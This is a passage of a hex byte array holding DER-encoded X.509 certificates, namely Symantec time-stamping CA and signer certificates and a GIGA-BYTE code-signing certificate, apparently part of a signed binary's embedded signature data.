0x5A, 0x17, 0x0D, 0x32, 0x30, - 0x31, 0x32, 0x33, 0x30, 0x32, 0x33, 0x35, 0x39, 0x35, 0x39, 0x5A, 0x30, - 0x5E, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, - 0x55, 0x53, 0x31, 0x1D, 0x30, 0x1B, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, - 0x14, 0x53, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x20, 0x43, 0x6F, - 0x72, 0x70, 0x6F, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x30, 0x30, - 0x2E, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x27, 0x53, 0x79, 0x6D, 0x61, - 0x6E, 0x74, 0x65, 0x63, 0x20, 0x54, 0x69, 0x6D, 0x65, 0x20, 0x53, 0x74, - 0x61, 0x6D, 0x70, 0x69, 0x6E, 0x67, 0x20, 0x53, 0x65, 0x72, 0x76, 0x69, - 0x63, 0x65, 0x73, 0x20, 0x43, 0x41, 0x20, 0x2D, 0x20, 0x47, 0x32, 0x30, - 0x82, 0x01, 0x22, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, - 0x0D, 0x01, 0x01, 0x01, 0x05, 0x00, 0x03, 0x82, 0x01, 0x0F, 0x00, 0x30, - 0x82, 0x01, 0x0A, 0x02, 0x82, 0x01, 0x01, 0x00, 0xB1, 0xAC, 0xB3, 0x49, - 0x54, 0x4B, 0x97, 0x1C, 0x12, 0x0A, 0xD8, 0x25, 0x79, 0x91, 0x22, 0x57, - 0x2A, 0x6F, 0xDC, 0xB8, 0x26, 0xC4, 0x43, 0x73, 0x6B, 0xC2, 0xBF, 0x2E, - 0x50, 0x5A, 0xFB, 0x14, 0xC2, 0x76, 0x8E, 0x43, 0x01, 0x25, 0x43, 0xB4, - 0xA1, 0xE2, 0x45, 0xF4, 0xE8, 0xB7, 0x7B, 0xC3, 0x74, 0xCC, 0x22, 0xD7, - 0xB4, 0x94, 0x00, 0x02, 0xF7, 0x4D, 0xED, 0xBF, 0xB4, 0xB7, 0x44, 0x24, - 0x6B, 0xCD, 0x5F, 0x45, 0x3B, 0xD1, 0x44, 0xCE, 0x43, 0x12, 0x73, 0x17, - 0x82, 0x8B, 0x69, 0xB4, 0x2B, 0xCB, 0x99, 0x1E, 0xAC, 0x72, 0x1B, 0x26, - 0x4D, 0x71, 0x1F, 0xB1, 0x31, 0xDD, 0xFB, 0x51, 0x61, 0x02, 0x53, 0xA6, - 0xAA, 0xF5, 0x49, 0x2C, 0x05, 0x78, 0x45, 0xA5, 0x2F, 0x89, 0xCE, 0xE7, - 0x99, 0xE7, 0xFE, 0x8C, 0xE2, 0x57, 0x3F, 0x3D, 0xC6, 0x92, 0xDC, 0x4A, - 0xF8, 0x7B, 0x33, 0xE4, 0x79, 0x0A, 0xFB, 0xF0, 0x75, 0x88, 0x41, 0x9C, - 0xFF, 0xC5, 0x03, 0x51, 0x99, 0xAA, 0xD7, 0x6C, 0x9F, 0x93, 0x69, 0x87, - 0x65, 0x29, 0x83, 0x85, 0xC2, 0x60, 0x14, 0xC4, 0xC8, 0xC9, 0x3B, 0x14, - 0xDA, 0xC0, 0x81, 0xF0, 0x1F, 0x0D, 0x74, 0xDE, 0x92, 0x22, 0xAB, 0xCA, - 0xF7, 0xFB, 0x74, 0x7C, 0x27, 0xE6, 0xF7, 0x4A, 0x1B, 0x7F, 0xA7, 0xC3, - 0x9E, 0x2D, 0xAE, 0x8A, 0xEA, 0xA6, 0xE6, 0xAA, 0x27, 0x16, 0x7D, 0x61, - 0xF7, 0x98, 0x71, 0x11, 0xBC, 0xE2, 0x50, 0xA1, 0x4B, 0xE5, 0x5D, 0xFA, - 0xE5, 0x0E, 0xA7, 0x2C, 0x9F, 0xAA, 0x65, 0x20, 0xD3, 0xD8, 0x96, 0xE8, - 0xC8, 0x7C, 0xA5, 0x4E, 0x48, 0x44, 0xFF, 0x19, 0xE2, 0x44, 0x07, 0x92, - 0x0B, 0xD7, 0x68, 0x84, 0x80, 0x5D, 0x6A, 0x78, 0x64, 0x45, 0xCD, 0x60, - 0x46, 0x7E, 0x54, 0xC1, 0x13, 0x7C, 0xC5, 0x79, 0xF1, 0xC9, 0xC1, 0x71, - 0x02, 0x03, 0x01, 0x00, 0x01, 0xA3, 0x81, 0xFA, 0x30, 0x81, 0xF7, 0x30, - 0x1D, 0x06, 0x03, 0x55, 0x1D, 0x0E, 0x04, 0x16, 0x04, 0x14, 0x5F, 0x9A, - 0xF5, 0x6E, 0x5C, 0xCC, 0xCC, 0x74, 0x9A, 0xD4, 0xDD, 0x7D, 0xEF, 0x3F, - 0xDB, 0xEC, 0x4C, 0x80, 0x2E, 0xDD, 0x30, 0x32, 0x06, 0x08, 0x2B, 0x06, - 0x01, 0x05, 0x05, 0x07, 0x01, 0x01, 0x04, 0x26, 0x30, 0x24, 0x30, 0x22, - 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x30, 0x01, 0x86, 0x16, - 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x6F, 0x63, 0x73, 0x70, 0x2E, - 0x74, 0x68, 0x61, 0x77, 0x74, 0x65, 0x2E, 0x63, 0x6F, 0x6D, 0x30, 0x12, - 0x06, 0x03, 0x55, 0x1D, 0x13, 0x01, 0x01, 0xFF, 0x04, 0x08, 0x30, 0x06, - 0x01, 0x01, 0xFF, 0x02, 0x01, 0x00, 0x30, 0x3F, 0x06, 0x03, 0x55, 0x1D, - 0x1F, 0x04, 0x38, 0x30, 0x36, 0x30, 0x34, 0xA0, 0x32, 0xA0, 0x30, 0x86, - 0x2E, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x63, 0x72, 0x6C, 0x2E, - 0x74, 0x68, 0x61, 0x77, 0x74, 0x65, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x54, - 0x68, 0x61, 0x77, 0x74, 0x65, 0x54, 0x69, 0x6D, 0x65, 0x73, 0x74, 0x61, - 0x6D, 0x70, 0x69, 0x6E, 0x67, 0x43, 0x41, 0x2E, 0x63, 0x72, 0x6C, 0x30, - 0x13, 0x06, 0x03, 0x55, 0x1D, 0x25, 0x04, 0x0C, 0x30, 0x0A, 0x06, 0x08, - 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x03, 0x08, 0x30, 0x0E, 0x06, 0x03, - 0x55, 0x1D, 0x0F, 0x01, 0x01, 0xFF, 0x04, 0x04, 0x03, 0x02, 0x01, 0x06, - 0x30, 0x28, 0x06, 0x03, 0x55, 0x1D, 0x11, 0x04, 0x21, 0x30, 0x1F, 0xA4, - 0x1D, 0x30, 0x1B, 0x31, 0x19, 0x30, 0x17, 0x06, 0x03, 0x55, 0x04, 0x03, - 0x13, 0x10, 0x54, 0x69, 0x6D, 0x65, 0x53, 0x74, 0x61, 0x6D, 0x70, 0x2D, - 0x32, 0x30, 0x34, 0x38, 0x2D, 0x31, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, - 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x05, 0x05, 0x00, 0x03, 0x81, 0x81, - 0x00, 0x03, 0x09, 0x9B, 0x8F, 0x79, 0xEF, 0x7F, 0x59, 0x30, 0xAA, 0xEF, - 0x68, 0xB5, 0xFA, 0xE3, 0x09, 0x1D, 0xBB, 0x4F, 0x82, 0x06, 0x5D, 0x37, - 0x5F, 0xA6, 0x52, 0x9F, 0x16, 0x8D, 0xEA, 0x1C, 0x92, 0x09, 0x44, 0x6E, - 0xF5, 0x6D, 0xEB, 0x58, 0x7C, 0x30, 0xE8, 0xF9, 0x69, 0x8D, 0x23, 0x73, - 0x0B, 0x12, 0x6F, 0x47, 0xA9, 0xAE, 0x39, 0x11, 0xF8, 0x2A, 0xB1, 0x9B, - 0xB0, 0x1A, 0xC3, 0x8E, 0xEB, 0x59, 0x96, 0x00, 0xAD, 0xCE, 0x0C, 0x4D, - 0xB2, 0xD0, 0x31, 0xA6, 0x08, 0x5C, 0x2A, 0x7A, 0xFC, 0xE2, 0x7A, 0x1D, - 0x57, 0x4C, 0xA8, 0x65, 0x18, 0xE9, 0x79, 0x40, 0x62, 0x25, 0x96, 0x6E, - 0xC7, 0xC7, 0x37, 0x6A, 0x83, 0x21, 0x08, 0x8E, 0x41, 0xEA, 0xDD, 0xD9, - 0x57, 0x3F, 0x1D, 0x77, 0x49, 0x87, 0x2A, 0x16, 0x06, 0x5E, 0xA6, 0x38, - 0x6A, 0x22, 0x12, 0xA3, 0x51, 0x19, 0x83, 0x7E, 0xB6, 0x30, 0x82, 0x04, - 0xA3, 0x30, 0x82, 0x03, 0x8B, 0xA0, 0x03, 0x02, 0x01, 0x02, 0x02, 0x10, - 0x0E, 0xCF, 0xF4, 0x38, 0xC8, 0xFE, 0xBF, 0x35, 0x6E, 0x04, 0xD8, 0x6A, - 0x98, 0x1B, 0x1A, 0x50, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, - 0xF7, 0x0D, 0x01, 0x01, 0x05, 0x05, 0x00, 0x30, 0x5E, 0x31, 0x0B, 0x30, - 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x1D, - 0x30, 0x1B, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x14, 0x53, 0x79, 0x6D, - 0x61, 0x6E, 0x74, 0x65, 0x63, 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, - 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x30, 0x30, 0x2E, 0x06, 0x03, 0x55, - 0x04, 0x03, 0x13, 0x27, 0x53, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, - 0x20, 0x54, 0x69, 0x6D, 0x65, 0x20, 0x53, 0x74, 0x61, 0x6D, 0x70, 0x69, - 0x6E, 0x67, 0x20, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x73, 0x20, - 0x43, 0x41, 0x20, 0x2D, 0x20, 0x47, 0x32, 0x30, 0x1E, 0x17, 0x0D, 0x31, - 0x32, 0x31, 0x30, 0x31, 0x38, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5A, - 0x17, 0x0D, 0x32, 0x30, 0x31, 0x32, 0x32, 0x39, 0x32, 0x33, 0x35, 0x39, - 0x35, 0x39, 0x5A, 0x30, 0x62, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, - 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x1D, 0x30, 0x1B, 0x06, 0x03, - 0x55, 0x04, 0x0A, 0x13, 0x14, 0x53, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, - 0x63, 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, 0x61, 0x74, 0x69, 0x6F, - 0x6E, 0x31, 0x34, 0x30, 0x32, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x2B, - 0x53, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x20, 0x54, 0x69, 0x6D, - 0x65, 0x20, 0x53, 0x74, 0x61, 0x6D, 0x70, 0x69, 0x6E, 0x67, 0x20, 0x53, - 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x73, 0x20, 0x53, 0x69, 0x67, 0x6E, - 0x65, 0x72, 0x20, 0x2D, 0x20, 0x47, 0x34, 0x30, 0x82, 0x01, 0x22, 0x30, - 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, - 0x05, 0x00, 0x03, 0x82, 0x01, 0x0F, 0x00, 0x30, 0x82, 0x01, 0x0A, 0x02, - 0x82, 0x01, 0x01, 0x00, 0xA2, 0x63, 0x0B, 0x39, 0x44, 0xB8, 0xBB, 0x23, - 0xA7, 0x44, 0x49, 0xBB, 0x0E, 0xFF, 0xA1, 0xF0, 0x61, 0x0A, 0x53, 0x93, - 0xB0, 0x98, 0xDB, 0xAD, 0x2C, 0x0F, 0x4A, 0xC5, 0x6E, 0xFF, 0x86, 0x3C, - 0x53, 0x55, 0x0F, 0x15, 0xCE, 0x04, 0x3F, 0x2B, 0xFD, 0xA9, 0x96, 0x96, - 0xD9, 0xBE, 0x61, 0x79, 0x0B, 0x5B, 0xC9, 0x4C, 0x86, 0x76, 0xE5, 0xE0, - 0x43, 0x4B, 0x22, 0x95, 0xEE, 0xC2, 0x2B, 0x43, 0xC1, 0x9F, 0xD8, 0x68, - 0xB4, 0x8E, 0x40, 0x4F, 0xEE, 0x85, 0x38, 0xB9, 0x11, 0xC5, 0x23, 0xF2, - 0x64, 0x58, 0xF0, 0x15, 0x32, 0x6F, 0x4E, 0x57, 0xA1, 0xAE, 0x88, 0xA4, - 0x02, 0xD7, 0x2A, 0x1E, 0xCD, 0x4B, 0xE1, 0xDD, 0x63, 0xD5, 0x17, 0x89, - 0x32, 0x5B, 0xB0, 0x5E, 0x99, 0x5A, 0xA8, 0x9D, 0x28, 0x50, 0x0E, 0x17, - 0xEE, 0x96, 0xDB, 0x61, 0x3B, 0x45, 0x51, 0x1D, 0xCF, 0x12, 0x56, 0x0B, - 0x92, 0x47, 0xFC, 0xAB, 0xAE, 0xF6, 0x66, 0x3D, 0x47, 0xAC, 0x70, 0x72, - 0xE7, 0x92, 0xE7, 0x5F, 0xCD, 0x10, 0xB9, 0xC4, 0x83, 0x64, 0x94, 0x19, - 0xBD, 0x25, 0x80, 0xE1, 0xE8, 0xD2, 0x22, 0xA5, 0xD0, 0xBA, 0x02, 0x7A, - 0xA1, 0x77, 0x93, 0x5B, 0x65, 0xC3, 0xEE, 0x17, 0x74, 0xBC, 0x41, 0x86, - 0x2A, 0xDC, 0x08, 0x4C, 0x8C, 0x92, 0x8C, 0x91, 0x2D, 0x9E, 0x77, 0x44, - 0x1F, 0x68, 0xD6, 0xA8, 0x74, 0x77, 0xDB, 0x0E, 0x5B, 0x32, 0x8B, 0x56, - 0x8B, 0x33, 0xBD, 0xD9, 0x63, 0xC8, 0x49, 0x9D, 0x3A, 0xC5, 0xC5, 0xEA, - 0x33, 0x0B, 0xD2, 0xF1, 0xA3, 0x1B, 0xF4, 0x8B, 0xBE, 0xD9, 0xB3, 0x57, - 0x8B, 0x3B, 0xDE, 0x04, 0xA7, 0x7A, 0x22, 0xB2, 0x24, 0xAE, 0x2E, 0xC7, - 0x70, 0xC5, 0xBE, 0x4E, 0x83, 0x26, 0x08, 0xFB, 0x0B, 0xBD, 0xA9, 0x4F, - 0x99, 0x08, 0xE1, 0x10, 0x28, 0x72, 0xAA, 0xCD, 0x02, 0x03, 0x01, 0x00, - 0x01, 0xA3, 0x82, 0x01, 0x57, 0x30, 0x82, 0x01, 0x53, 0x30, 0x0C, 0x06, - 0x03, 0x55, 0x1D, 0x13, 0x01, 0x01, 0xFF, 0x04, 0x02, 0x30, 0x00, 0x30, - 0x16, 0x06, 0x03, 0x55, 0x1D, 0x25, 0x01, 0x01, 0xFF, 0x04, 0x0C, 0x30, - 0x0A, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x03, 0x08, 0x30, - 0x0E, 0x06, 0x03, 0x55, 0x1D, 0x0F, 0x01, 0x01, 0xFF, 0x04, 0x04, 0x03, - 0x02, 0x07, 0x80, 0x30, 0x73, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, - 0x07, 0x01, 0x01, 0x04, 0x67, 0x30, 0x65, 0x30, 0x2A, 0x06, 0x08, 0x2B, - 0x06, 0x01, 0x05, 0x05, 0x07, 0x30, 0x01, 0x86, 0x1E, 0x68, 0x74, 0x74, - 0x70, 0x3A, 0x2F, 0x2F, 0x74, 0x73, 0x2D, 0x6F, 0x63, 0x73, 0x70, 0x2E, - 0x77, 0x73, 0x2E, 0x73, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x2E, - 0x63, 0x6F, 0x6D, 0x30, 0x37, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, - 0x07, 0x30, 0x02, 0x86, 0x2B, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, - 0x74, 0x73, 0x2D, 0x61, 0x69, 0x61, 0x2E, 0x77, 0x73, 0x2E, 0x73, 0x79, - 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x74, - 0x73, 0x73, 0x2D, 0x63, 0x61, 0x2D, 0x67, 0x32, 0x2E, 0x63, 0x65, 0x72, - 0x30, 0x3C, 0x06, 0x03, 0x55, 0x1D, 0x1F, 0x04, 0x35, 0x30, 0x33, 0x30, - 0x31, 0xA0, 0x2F, 0xA0, 0x2D, 0x86, 0x2B, 0x68, 0x74, 0x74, 0x70, 0x3A, - 0x2F, 0x2F, 0x74, 0x73, 0x2D, 0x63, 0x72, 0x6C, 0x2E, 0x77, 0x73, 0x2E, - 0x73, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x2E, 0x63, 0x6F, 0x6D, - 0x2F, 0x74, 0x73, 0x73, 0x2D, 0x63, 0x61, 0x2D, 0x67, 0x32, 0x2E, 0x63, - 0x72, 0x6C, 0x30, 0x28, 0x06, 0x03, 0x55, 0x1D, 0x11, 0x04, 0x21, 0x30, - 0x1F, 0xA4, 0x1D, 0x30, 0x1B, 0x31, 0x19, 0x30, 0x17, 0x06, 0x03, 0x55, - 0x04, 0x03, 0x13, 0x10, 0x54, 0x69, 0x6D, 0x65, 0x53, 0x74, 0x61, 0x6D, - 0x70, 0x2D, 0x32, 0x30, 0x34, 0x38, 0x2D, 0x32, 0x30, 0x1D, 0x06, 0x03, - 0x55, 0x1D, 0x0E, 0x04, 0x16, 0x04, 0x14, 0x46, 0xC6, 0x69, 0xA3, 0x0E, - 0x4A, 0x14, 0x1E, 0xD5, 0x4C, 0xDA, 0x52, 0x63, 0x17, 0x3F, 0x5E, 0x36, - 0xBC, 0x0D, 0xE6, 0x30, 0x1F, 0x06, 0x03, 0x55, 0x1D, 0x23, 0x04, 0x18, - 0x30, 0x16, 0x80, 0x14, 0x5F, 0x9A, 0xF5, 0x6E, 0x5C, 0xCC, 0xCC, 0x74, - 0x9A, 0xD4, 0xDD, 0x7D, 0xEF, 0x3F, 0xDB, 0xEC, 0x4C, 0x80, 0x2E, 0xDD, - 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, - 0x05, 0x05, 0x00, 0x03, 0x82, 0x01, 0x01, 0x00, 0x78, 0x3B, 0xB4, 0x91, - 0x2A, 0x00, 0x4C, 0xF0, 0x8F, 0x62, 0x30, 0x37, 0x78, 0xA3, 0x84, 0x27, - 0x07, 0x6F, 0x18, 0xB2, 0xDE, 0x25, 0xDC, 0xA0, 0xD4, 0x94, 0x03, 0xAA, - 0x86, 0x4E, 0x25, 0x9F, 0x9A, 0x40, 0x03, 0x1C, 0xDD, 0xCE, 0xE3, 0x79, - 0xCB, 0x21, 0x68, 0x06, 0xDA, 0xB6, 0x32, 0xB4, 0x6D, 0xBF, 0xF4, 0x2C, - 0x26, 0x63, 0x33, 0xE4, 0x49, 0x64, 0x6D, 0x0D, 0xE6, 0xC3, 0x67, 0x0E, - 0xF7, 0x05, 0xA4, 0x35, 0x6C, 0x7C, 0x89, 0x16, 0xC6, 0xE9, 0xB2, 0xDF, - 0xB2, 0xE9, 0xDD, 0x20, 0xC6, 0x71, 0x0F, 0xCD, 0x95, 0x74, 0xDC, 0xB6, - 0x5C, 0xDE, 0xBD, 0x37, 0x1F, 0x43, 0x78, 0xE6, 0x78, 0xB5, 0xCD, 0x28, - 0x04, 0x20, 0xA3, 0xAA, 0xF1, 0x4B, 0xC4, 0x88, 0x29, 0x91, 0x0E, 0x80, - 0xD1, 0x11, 0xFC, 0xDD, 0x5C, 0x76, 0x6E, 0x4F, 0x5E, 0x0E, 0x45, 0x46, - 0x41, 0x6E, 0x0D, 0xB0, 0xEA, 0x38, 0x9A, 0xB1, 0x3A, 0xDA, 0x09, 0x71, - 0x10, 0xFC, 0x1C, 0x79, 0xB4, 0x80, 0x7B, 0xAC, 0x69, 0xF4, 0xFD, 0x9C, - 0xB6, 0x0C, 0x16, 0x2B, 0xF1, 0x7F, 0x5B, 0x09, 0x3D, 0x9B, 0x5B, 0xE2, - 0x16, 0xCA, 0x13, 0x81, 0x6D, 0x00, 0x2E, 0x38, 0x0D, 0xA8, 0x29, 0x8F, - 0x2C, 0xE1, 0xB2, 0xF4, 0x5A, 0xA9, 0x01, 0xAF, 0x15, 0x9C, 0x2C, 0x2F, - 0x49, 0x1B, 0xDB, 0x22, 0xBB, 0xC3, 0xFE, 0x78, 0x94, 0x51, 0xC3, 0x86, - 0xB1, 0x82, 0x88, 0x5D, 0xF0, 0x3D, 0xB4, 0x51, 0xA1, 0x79, 0x33, 0x2B, - 0x2E, 0x7B, 0xB9, 0xDC, 0x20, 0x09, 0x13, 0x71, 0xEB, 0x6A, 0x19, 0x5B, - 0xCF, 0xE8, 0xA5, 0x30, 0x57, 0x2C, 0x89, 0x49, 0x3F, 0xB9, 0xCF, 0x7F, - 0xC9, 0xBF, 0x3E, 0x22, 0x68, 0x63, 0x53, 0x9A, 0xBD, 0x69, 0x74, 0xAC, - 0xC5, 0x1D, 0x3C, 0x7F, 0x92, 0xE0, 0xC3, 0xBC, 0x1C, 0xD8, 0x04, 0x75, - 0x30, 0x82, 0x04, 0xEE, 0x30, 0x82, 0x03, 0xD6, 0xA0, 0x03, 0x02, 0x01, - 0x02, 0x02, 0x10, 0x2A, 0xD2, 0x2E, 0x07, 0x1F, 0x61, 0xCA, 0xFE, 0x78, - 0x84, 0xBF, 0xA4, 0x3A, 0x31, 0xB2, 0x1B, 0x30, 0x0D, 0x06, 0x09, 0x2A, - 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x0B, 0x05, 0x00, 0x30, 0x7F, - 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, - 0x53, 0x31, 0x1D, 0x30, 0x1B, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x14, - 0x53, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x20, 0x43, 0x6F, 0x72, - 0x70, 0x6F, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x1F, 0x30, 0x1D, - 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x16, 0x53, 0x79, 0x6D, 0x61, 0x6E, - 0x74, 0x65, 0x63, 0x20, 0x54, 0x72, 0x75, 0x73, 0x74, 0x20, 0x4E, 0x65, - 0x74, 0x77, 0x6F, 0x72, 0x6B, 0x31, 0x30, 0x30, 0x2E, 0x06, 0x03, 0x55, - 0x04, 0x03, 0x13, 0x27, 0x53, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, - 0x20, 0x43, 0x6C, 0x61, 0x73, 0x73, 0x20, 0x33, 0x20, 0x53, 0x48, 0x41, - 0x32, 0x35, 0x36, 0x20, 0x43, 0x6F, 0x64, 0x65, 0x20, 0x53, 0x69, 0x67, - 0x6E, 0x69, 0x6E, 0x67, 0x20, 0x43, 0x41, 0x30, 0x1E, 0x17, 0x0D, 0x31, - 0x36, 0x30, 0x37, 0x32, 0x31, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5A, - 0x17, 0x0D, 0x31, 0x39, 0x30, 0x39, 0x31, 0x39, 0x32, 0x33, 0x35, 0x39, - 0x35, 0x39, 0x5A, 0x30, 0x81, 0x85, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, - 0x55, 0x04, 0x06, 0x13, 0x02, 0x54, 0x57, 0x31, 0x0F, 0x30, 0x0D, 0x06, - 0x03, 0x55, 0x04, 0x08, 0x0C, 0x06, 0x54, 0x61, 0x69, 0x77, 0x61, 0x6E, - 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, 0x55, 0x04, 0x07, 0x0C, 0x0A, 0x4E, - 0x45, 0x57, 0x20, 0x54, 0x41, 0x49, 0x50, 0x45, 0x49, 0x31, 0x27, 0x30, - 0x25, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x0C, 0x1E, 0x47, 0x49, 0x47, 0x41, - 0x2D, 0x42, 0x59, 0x54, 0x45, 0x20, 0x54, 0x45, 0x43, 0x48, 0x4E, 0x4F, - 0x4C, 0x4F, 0x47, 0x59, 0x20, 0x43, 0x4F, 0x2E, 0x2C, 0x20, 0x4C, 0x54, - 0x44, 0x2E, 0x31, 0x27, 0x30, 0x25, 0x06, 0x03, 0x55, 0x04, 0x03, 0x0C, - 0x1E, 0x47, 0x49, 0x47, 0x41, 0x2D, 0x42, 0x59, 0x54, 0x45, 0x20, 0x54, - 0x45, 0x43, 0x48, 0x4E, 0x4F, 0x4C, 0x4F, 0x47, 0x59, 0x20, 0x43, 0x4F, - 0x2E, 0x2C, 0x20, 0x4C, 0x54, 0x44, 0x2E, 0x30, 0x82, 0x01, 0x22, 0x30, - 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, - 0x05, 0x00, 0x03, 0x82, 0x01, 0x0F, 0x00, 0x30, 0x82, 0x01, 0x0A, 0x02, - 0x82, 0x01, 0x01, 0x00, 0xE7, 0x7A, 0x0E, 0x8A, 0xBB, 0xA2, 0xCB, 0xD4, - 0x84, 0xA0, 0x3F, 0x19, 0x4E, 0x28, 0x08, 0x42, 0x5D, 0xE8, 0xB3, 0x38, - 0xEE, 0x47, 0x96, 0x57, 0x44, 0x18, 0x2E, 0x7C, 0xCE, 0xED, 0x4A, 0x4B, - 0xC8, 0x90, 0xA9, 0x52, 0x90, 0x0E, 0x05, 0xB4, 0x0F, 0x73, 0x8E, 0x10, - 0x49, 0xAD, 0x41, 0x6C, 0x0F, 0x24, 0x78, 0x2C, 0xFD, 0xF8, 0xC7, 0x24, - 0x14, 0x4E, 0x23, 0x4A, 0x03, 0x60, 0x60, 0x35, 0xDA, 0x5D, 0x28, 0xAF, - 0x27, 0x4A, 0x3A, 0xBB, 0x2D, 0xE2, 0x84, 0x04, 0xDA, 0x8F, 0xBB, 0x13, - 0xED, 0x4E, 0x8B, 0xE1, 0xCE, 0xAB, 0xAA, 0xC3, 0xCB, 0xD5, 0x9D, 0xDB, - 0xB6, 0x4D, 0xB4, 0x72, 0x46, 0x99, 0x41, 0xDD, 0xD3, 0x5A, 0x46, 0x7F, - 0x48, 0x64, 0x6B, 0x1B, 0xBF, 0xA3, 0xA0, 0x8E, 0xF0, 0xF1, 0xC1, 0xD5, - 0x35, 0x99, 0x10, 0x28, 0x8A, 0xE5, 0x03, 0x68, 0xF7, 0x26, 0x71, 0xB8, - 0xDB, 0xBF, 0x38, 0xFE, 0xF5, 0x15, 0x3D, 0xB3, 0xD7, 0x40, 0x24, 0x54, - 0x35, 0x2F, 0xA3, 0xBA, 0xA1, 0xE4, 0x79, 0x42, 0xE3, 0x76, 0x92, 0xDF, - 0x86, 0xAD, 0x4A, 0x7F, 0x2E, 0x3E, 0x1F, 0xD9, 0xCE, 0x0F, 0x88, 0xB7, - 0xE1, 0xBC, 0x63, 0x67, 0x3F, 0xFB, 0xC8, 0xDD, 0xD1, 0x9C, 0xFE, 0xCC, - 0x80, 0x87, 0x02, 0x2C, 0xB7, 0x31, 0xAB, 0xAB, 0xA4, 0xB2, 0x49, 0x4E, - 0x4D, 0x06, 0x33, 0x3E, 0x3C, 0xC2, 0x8A, 0x74, 0xD7, 0x8F, 0x6D, 0x2E, - 0x7E, 0xD5, 0xC0, 0xF4, 0x17, 0xD7, 0x56, 0xFA, 0xDA, 0x4C, 0xEE, 0xE7, - 0xEA, 0xF4, 0x23, 0x06, 0x95, 0x70, 0xDE, 0x72, 0xFC, 0x9F, 0x9C, 0xF7, - 0xBF, 0x64, 0x4E, 0xBF, 0x09, 0x0F, 0xC9, 0x3B, 0x42, 0x80, 0x17, 0x72, - 0x32, 0x01, 0x12, 0xB3, 0xCA, 0x6C, 0x6D, 0x9D, 0x1D, 0x9F, 0xEE, 0x52, - 0x94, 0x42, 0x55, 0xB1, 0x07, 0x54, 0x14, 0x51, 0x02, 0x03, 0x01, 0x00, - 0x01, 0xA3, 0x82, 0x01, 0x5D, 0x30, 0x82, 0x01, 0x59, 0x30, 0x09, 0x06, - 0x03, 0x55, 0x1D, 0x13, 0x04, 0x02, 0x30, 0x00, 0x30, 0x0E, 0x06, 0x03, - 0x55, 0x1D, 0x0F, 0x01, 0x01, 0xFF, 0x04, 0x04, 0x03, 0x02, 0x07, 0x80, - 0x30, 0x2B, 0x06, 0x03, 0x55, 0x1D, 0x1F, 0x04, 0x24, 0x30, 0x22, 0x30, - 0x20, 0xA0, 0x1E, 0xA0, 0x1C, 0x86, 0x1A, 0x68, 0x74, 0x74, 0x70, 0x3A, - 0x2F, 0x2F, 0x73, 0x76, 0x2E, 0x73, 0x79, 0x6D, 0x63, 0x62, 0x2E, 0x63, - 0x6F, 0x6D, 0x2F, 0x73, 0x76, 0x2E, 0x63, 0x72, 0x6C, 0x30, 0x61, 0x06, - 0x03, 0x55, 0x1D, 0x20, 0x04, 0x5A, 0x30, 0x58, 0x30, 0x56, 0x06, 0x06, - 0x67, 0x81, 0x0C, 0x01, 